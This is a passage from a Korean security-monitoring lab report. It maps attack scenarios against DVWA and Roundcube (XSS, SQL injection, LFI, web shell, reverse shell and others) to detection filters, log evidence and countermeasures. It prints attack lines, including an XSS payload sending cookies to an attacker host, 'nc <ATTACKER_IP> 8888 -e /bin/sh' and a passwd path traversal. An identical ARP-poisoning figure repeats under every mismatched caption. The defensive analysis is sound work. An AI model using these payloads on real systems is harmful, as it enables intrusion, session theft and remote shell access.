## 5.2. 관제 수행 결과

관제 수행은 네트워크 패킷 분석(Wireshark)과 서버 로그(syslog/apache/roundcube) 분석을 병행하여 정상/비정상 행위의 판별 기준을 정의하고, 시나리오2 기반(고객정보 탈취) 공격 수행 시 생성되는 흔적을 식별·분류하는 방식으로 진행하였다.

**표 5.2-1. 시나리오2 상세( DNS 정보 수집(dnsenum))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 공격 기법 | 공개 도메인 기반 DNS 정보 수집(서브도메인/Zone 정보 노출 여부 확인) |
| 관제 데이터 | 패킷+syslog |
| 식별 기준(필터/키워드) | Wireshark: dns.qry.type == 252(AXFR) syslog: AXFR started/ended, transfer of "domain/IN" |
| 관측 결과(요약) | dnsenum/dig 기반 AXFR 시도 트래픽 및 네임서버 로그(AXFR started)와 다수 레코드 전송(예: 12 records) 확인 |
| 대응/후속 조치(요약) | DNS allow-transfer 제한 + TCP 53 접근통제(Secondary DNS만 허용) + 네트워크 ACL 적용 |
| 공격/검증 명령 | dnsenum --unump wj.com (또는) dig axfr wj.com @<DNS\_IP> |
| 핵심 로그 경로 | /var/log/syslog (또는 named/bind 로그) |
| 차단/대응(상세) | [DNS 설정] allow-transfer { <SECONDARY\_DNS\_IP>; };  [네트워크] TCP 53: Secondary DNS만 허용, 그 외 차단(UFW/iptables/ACL) |
| 검증 방법 | 정책 적용 전/후 동일 시나리오2를 재현하여 탐지/차단 여부를 확인 |

**그림 5.2-1**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |

**표 5.2-2. 시나리오2 상세( 서비스 스캔(Nmap))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 공격 기법 | 스텔스 SYN 스캔 및 서비스/버전 식별(정찰) |
| 관제 데이터 | 패킷+apache access.log |
| 식별 기준(필터/키워드) | Wireshark: tcp.flags.syn == 1 로그: User-Agent에 Nmap Scripting Engine, 대량 404, 동일 시각 다수 요청 |
| 관측 결과(요약) | nmap -sS -sV 수행 시 단시간 다수 SYN 및 웹 로그의 비정상 경로/UA 패턴 확인(취약 서버 후보 식별) |
| 대응/후속 조치(요약) | 스캔 발생 IP/대역 차단(ACL) 및 율제한(iptables recent) + 서비스 노출 최소화 |
| 공격/검증 명령 | nmap -sS -sV -p80,443 172.16.18.0/16 |
| 핵심 로그 경로 | /var/log/apache2/access.log |
| 차단/대응(상세) | [iptables 예시] iptables -A INPUT -p tcp --syn --dport 80 -m recent --name WEBSCAN --set iptables -A INPUT -p tcp --syn --dport 80 -m recent --name WEBSCAN --update --seconds 10 --hitcount 50 -j DROP |
| 검증 방법 | 정책 적용 전/후 동일 시나리오2를 재현하여 탐지/차단 여부를 확인 |

**그림 5.2-2**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |

**표 5.2-3. 시나리오2 상세( Reflected XSS(쿠키 탈취))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오2 | Reflected XSS(쿠키 탈취) |
| 공격 기법 | URI 파라미터에 스크립트 삽입 후 피해자 브라우저에서 실행(세션 쿠키 외부 전송) |
| 관제 데이터 | 패킷+apache access.log |
| 식별 기준(필터/키워드) | Wireshark: http.request.uri URI 내 인코딩된 <script> 또는 특징적 페이로드 포함 여부 |
| 관측 결과(요약) | xss\_d 파라미터에 스크립트 포함 URL 생성 및 클릭 유도 후 쿠키가 공격자 서버로 전송되는 흐름 확인 |
| 대응/후속 조치(요약) | 입력값 검증/출력 인코딩 + CSP 적용 + 쿠키 HttpOnly/SameSite 설정 |
| 공격/검증 명령 | .../vulnerabilities/xss\_d/?default=<script>document.location='http://<ATTACKER>/cookie?'+document.cookie</script> |
| 핵심 로그 경로 | /var/log/apache2/access.log |
| 차단/대응(상세) | 웹 애플리케이션 차원 조치가 필수이며, WAF/필터링만으로는 우회 가능. - 출력 인코딩(HTML escape) - CSP: script-src 제한 - 세션 쿠키: HttpOnly, Secure, SameSite |
| 검증 방법 | 정책 적용 전/후 동일 시나리오2를 재현하여 탐지/차단 여부를 확인 |

**그림 5.2-3**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |

**표 5.2-4. 시나리오2 상세( Mail Brute Force(Roundcube))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오2 | Mail Brute Force(Roundcube) |
| 공격 기법 | 웹메일 로그인 반복 시도(자동화/사전 기반)로 계정 탈취 |
| 관제 데이터 | 패킷+roundcube 로그 |
| 식별 기준(필터/키워드) | Wireshark: http.request.method == "POST" 로그: Login failed/IMAP Error 반복, 특정 IP 단시간 연속 시도 |
| 관측 결과(요약) | Burp Intruder 기반 대량 로그인 실패(401) 후 성공(200) 패턴 및 errors.log의 Login failed 반복 확인 |
| 대응/후속 조치(요약) | 계정 잠금/레이트리밋/2FA·CAPTCHA 적용 + fail2ban 연계 + 네트워크 ACL |
| 공격/검증 명령 | Burp Suite Intruder(웹메일 로그인 POST) (대체) 사전 기반 비밀번호 대입 |
| 핵심 로그 경로 | /var/log/roundcubemail/errors.log |
| 차단/대응(상세) | 동일 IP 반복 실패 시 자동 차단(fail2ban) 및 관리자 계정 보호(2FA/강력 PW/계정 잠금) 적용 |
| 검증 방법 | 정책 적용 전/후 동일 시나리오2를 재현하여 탐지/차단 여부를 확인 |

**그림 5.2-4**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |

**표 5.2-5. 시나리오2 상세( SQL Injection(고객정보 탈취))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오2 | SQL Injection(고객정보 탈취) |
| 공격 기법 | ' or '1'='1' 및 UNION SELECT 등으로 DB 스키마/데이터 추출 |
| 관제 데이터 | 패킷+apache access.log |
| 식별 기준(필터/키워드) | Wireshark: http.request.uri 쿼리스트링에 %27(or), %23(#) 등 인코딩된 제어문자·예약어 포함 |
| 관측 결과(요약) | 회원조회 입력값에 페이로드 전달 시 응답 크기 증가 및 vulnerabilities/sqli/ 경로로 반복 요청 확인 |
| 대응/후속 조치(요약) | WAF 연계 + 파라미터 바인딩/ORM 사용 + 입력검증 + DB 최소권한 적용 |
| 공격/검증 명령 | ' or '1'='1' # UNION SELECT ... FROM information\_schema... |
| 핵심 로그 경로 | /var/log/apache2/access.log |
| 차단/대응(상세) | 애플리케이션 취약점 조치가 핵심(Prepared Statement). 추가로 IDS/WAF 룰(OR 1=1, UNION SELECT 등) 적용 및 로그 상관분석. |
| 검증 방법 | 정책 적용 전/후 동일 시나리오2를 재현하여 탐지/차단 여부를 확인 |

**그림 5.2-5**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |

## 5.3. 관제 수행 결과

관제 수행은 클라이언트 단(프록시 설정 변조) 이상 징후와 웹 서버 로그를 함께 분석하여 시나리오3 기반(사회공학→MitM→세션 탈취→웹 취약점 악용) 공격 흐름에서 생성되는 패킷/로그 흔적을 식별·분류하고, 차단·대응 방안을 결과 중심으로 정리하였다.

**표 5.3-1. 시나리오3 상세( 악성 쉘 실행(프록시 강제 변경))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오3 | 악성 쉘 실행(프록시 강제 변경) |
| 공격 기법 | 사회공학으로 .sh 실행 유도 후 프록시 설정을 공격자 서버로 강제 변경(MitM 환경 구성) |
| 관제 데이터 | syslog+패킷 |
| 식별 기준(필터/키워드) | syslog: Proxy set to [IP:포트], 비정상 프로세스(예: nautilus-autostart.desktop) 패킷: 트래픽이 공격자 프록시를 경유 |
| 관측 결과(요약) | 의심 파일 실행 직후 프록시 설정 변조 로그 발생 및 사용자 트래픽이 공격자(Kali/Burp)로 우회되는 흐름 확인 |
| 대응/후속 조치(요약) | 프록시 설정 변경 모니터링/통제 + 실행 파일 차단(화이트리스트) + 사용자 보안 인식 교육 |
| 공격/검증 명령 | bash OO대학\_족보\_모음.sh (예시) |
| 핵심 로그 경로 | /var/log/syslog |
| 차단/대응(상세) | 감염 의심 시 프록시 초기화 및 자동시작 항목 제거, 엔드포인트 정책(스크립트 실행 제한) 적용 |
| 검증 방법 | 정책 적용 전/후 동일 시나리오3을 재현하여 탐지/차단 여부를 확인 |

**그림 5.3-1**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |

**표 5.3-2. 시나리오3 상세( CSRF(비밀번호 강제 변경))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오3 | CSRF(비밀번호 강제 변경) |
| 공격 기법 | 탈취한 세션 쿠키를 이용해 사용자의 의도와 무관한 비밀번호 변경 요청 수행 |
| 관제 데이터 | 패킷+apache access.log |
| 식별 기준(필터/키워드) | Wireshark: http.referer 로그: User-Agent=python-requests, GET URL에 password\_new 파라미터 노출, 취약 경로 접근 |
| 관측 결과(요약) | 자동화 스크립트(python3 csrf.py) 요청 흔적 및 password\_new 값이 로그에 기록되는 비정상 패턴 확인 |
| 대응/후속 조치(요약) | CSRF 토큰 + SameSite 쿠키 + 민감 기능 재인증 + POST 전환/Origin 검증 |
| 공격/검증 명령 | python3 csrf.py (requests 기반) |
| 핵심 로그 경로 | /var/log/apache2/dvwa\_access\_log |
| 차단/대응(상세) | 애플리케이션 조치가 핵심. GET 기반 비밀번호 변경 금지 및 CSRF 토큰 검증 강제 |
| 검증 방법 | 정책 적용 전/후 동일 시나리오3을 재현하여 탐지/차단 여부를 확인 |

**그림 5.3-2**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |

**표 5.3-3. 시나리오3 상세( File Inclusion(LFI))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오3 | File Inclusion(LFI) |
| 공격 기법 | URL 파라미터 경로 조작(../)로 시스템 파일(/etc/passwd 등) 열람 시도 |
| 관제 데이터 | 패킷+apache access.log |
| 식별 기준(필터/키워드) | Wireshark: http.request.uri page=../../.. 형태 및 /etc/passwd, /etc/shadow 등 경로 포함 |
| 관측 결과(요약) | DVWA File Inclusion 메뉴에서 /etc/passwd 접근 성공, /etc/shadow 접근 실패 패턴 확인 |
| 대응/후속 조치(요약) | 입력값 화이트리스트/경로 정규화 + include 기능 제거/패치 + WAF 룰 적용 |
| 공격/검증 명령 | page=../../../../../etc/passwd |
| 핵심 로그 경로 | /var/log/apache2/dvwa\_access\_log |
| 차단/대응(상세) | 웹 루트 외부 파일 접근 차단(allowlist), 에러/탐지 로그 상관분석으로 반복 공격 차단 |
| 검증 방법 | 정책 적용 전/후 동일 시나리오3을 재현하여 탐지/차단 여부를 확인 |

**그림 5.3-3**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |

**표 5.3-4. 시나리오3 상세( File Upload(업로드 취약점))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오3 | File Upload(업로드 취약점) |
| 공격 기법 | 업로드 기능을 악용하여 서버에 파일 저장(웹 루트/경로 노출) 후 후속 공격 기반 확보 |
| 관제 데이터 | 패킷+apache access.log |
| 식별 기준(필터/키워드) | 로그: POST /vulnerabilities/upload/ 요청 및 200 OK, multipart/form-data 업로드 흔적 |
| 관측 결과(요약) | 업로드 성공 후 파일 위치가 응답으로 안내되는 패턴 확인(취약 경로 식별) |
| 대응/후속 조치(요약) | 확장자/Content-Type 검증 + 업로드 디렉터리 실행 금지 + 웹 루트 외부 저장 |
| 공격/검증 명령 | File Upload 페이지에서 파일 업로드(POST) |
| 핵심 로그 경로 | /var/log/apache2/dvwa\_access\_log |
| 차단/대응(상세) | 업로드 파일 AV 스캔/무결성 점검, 업로드 경로에 PHP 실행 금지(웹서버 설정) |
| 검증 방법 | 정책 적용 전/후 동일 시나리오3을 재현하여 탐지/차단 여부를 확인 |

**그림 5.3-4**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |

**표 5.3-5. 시나리오3 상세( Web Shell(원격 명령 실행))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오3 | Web Shell(원격 명령 실행) |
| 공격 기법 | 업로드 경로에 웹쉘(backdoor.php 등) 배치 후 cmd 파라미터로 시스템 명령 실행 |
| 관제 데이터 | 패킷+apache access.log |
| 식별 기준(필터/키워드) | 로그: /hackable/uploads/\*.php 호출 + cmd= 파라미터, nc/shell\_exec(/bin/sh) 문자열 포함 |
| 관측 결과(요약) | 업로드 폴더 내 PHP 호출 및 cmd=ls 등 명령어 전달 흔적(백도어 생성/실행) 확인 |
| 대응/후속 조치(요약) | 업로드 경로 스크립트 실행 금지 + 웹쉘 탐지(IOC) + 파일 무결성 모니터링 |
| 공격/검증 명령 | command.php?cmd=ls (예시) backdoor.php 생성/호출 |
| 핵심 로그 경로 | /var/log/apache2/dvwa\_access\_log |
| 차단/대응(상세) | 웹서버 설정으로 uploads 디렉터리의 PHP 실행 차단 + WAF 룰(cmd=, shell\_exec 등) 적용 |
| 검증 방법 | 정책 적용 전/후 동일 시나리오3을 재현하여 탐지/차단 여부를 확인 |

**그림 5.3-5**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |

**표 5.3-6. 시나리오3 상세( Reverse Shell(Netcat))**

|  |  |
| --- | --- |
| **항목** | **내용** |
| 시나리오3 | Reverse Shell(Netcat) |
| 공격 기법 | 웹쉘을 통해 서버가 공격자 포트로 역접속(nc -e /bin/sh)하여 쉘 획득 |
| 관제 데이터 | 패킷+apache access.log |
| 식별 기준(필터/키워드) | 패킷: 서버→공격자 IP:PORT 아웃바운드 연결 로그: uploads/backdoor.php 호출, 타임아웃(504) 등 비정상 코드 |
| 관측 결과(요약) | 공격자 nc -lvp 포트 대기 후 backdoor.php 실행 시 역접속으로 터미널 제어권 획득 흐름 확인 |
| 대응/후속 조치(요약) | Egress 차단(서버 아웃바운드 제어) + 비인가 포트/프로세스 탐지 + 웹쉘 제거/패치 |
| 공격/검증 명령 | 공격자: nc -lvp 8888 서버(웹쉘): nc <ATTACKER\_IP> 8888 -e /bin/sh |
| 핵심 로그 경로 | /var/log/apache2/dvwa\_access\_log |
| 차단/대응(상세) | 방화벽 egress 정책으로 불필요한 아웃바운드 차단(예: 8888/tcp) 및 IDS 룰 연계 |
| 검증 방법 | 정책 적용 전/후 동일 시나리오3을 재현하여 탐지/차단 여부를 확인 |

**그림 5.3-6**

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | |  |  | |  | | **Scanning** | **HostScan을 통한**  **대량의 ARP 패킷 감지** | | **내부망에 위치한**  **Host IP 획득** | |  |  | |  | | **ubuntu(피해자) MAC ID**  **00:0c:29:ef:50:9a** | **router MAC ID**  **ca:02:1a:c0:00:00** | | **Kali MAC ID**  **00:0c:29:e8:e6:30** | |  | |  | | | **타겟 Add로 설정**  Target1 : Gateway (라우터)  Target2 : 우분투투 | | **ARP posioning**  # 게이트웨이한테 칼리가 내가 우분투야라고 하고 우분투한테 내가 게이트웨이야 라고 함 | | |  |  | |  | | **정상 패킷** | **공격 성공**  **공격자pc -> 게이트웨이** | | **공격 성공**  **공격자pc -> 피해자Pc** | |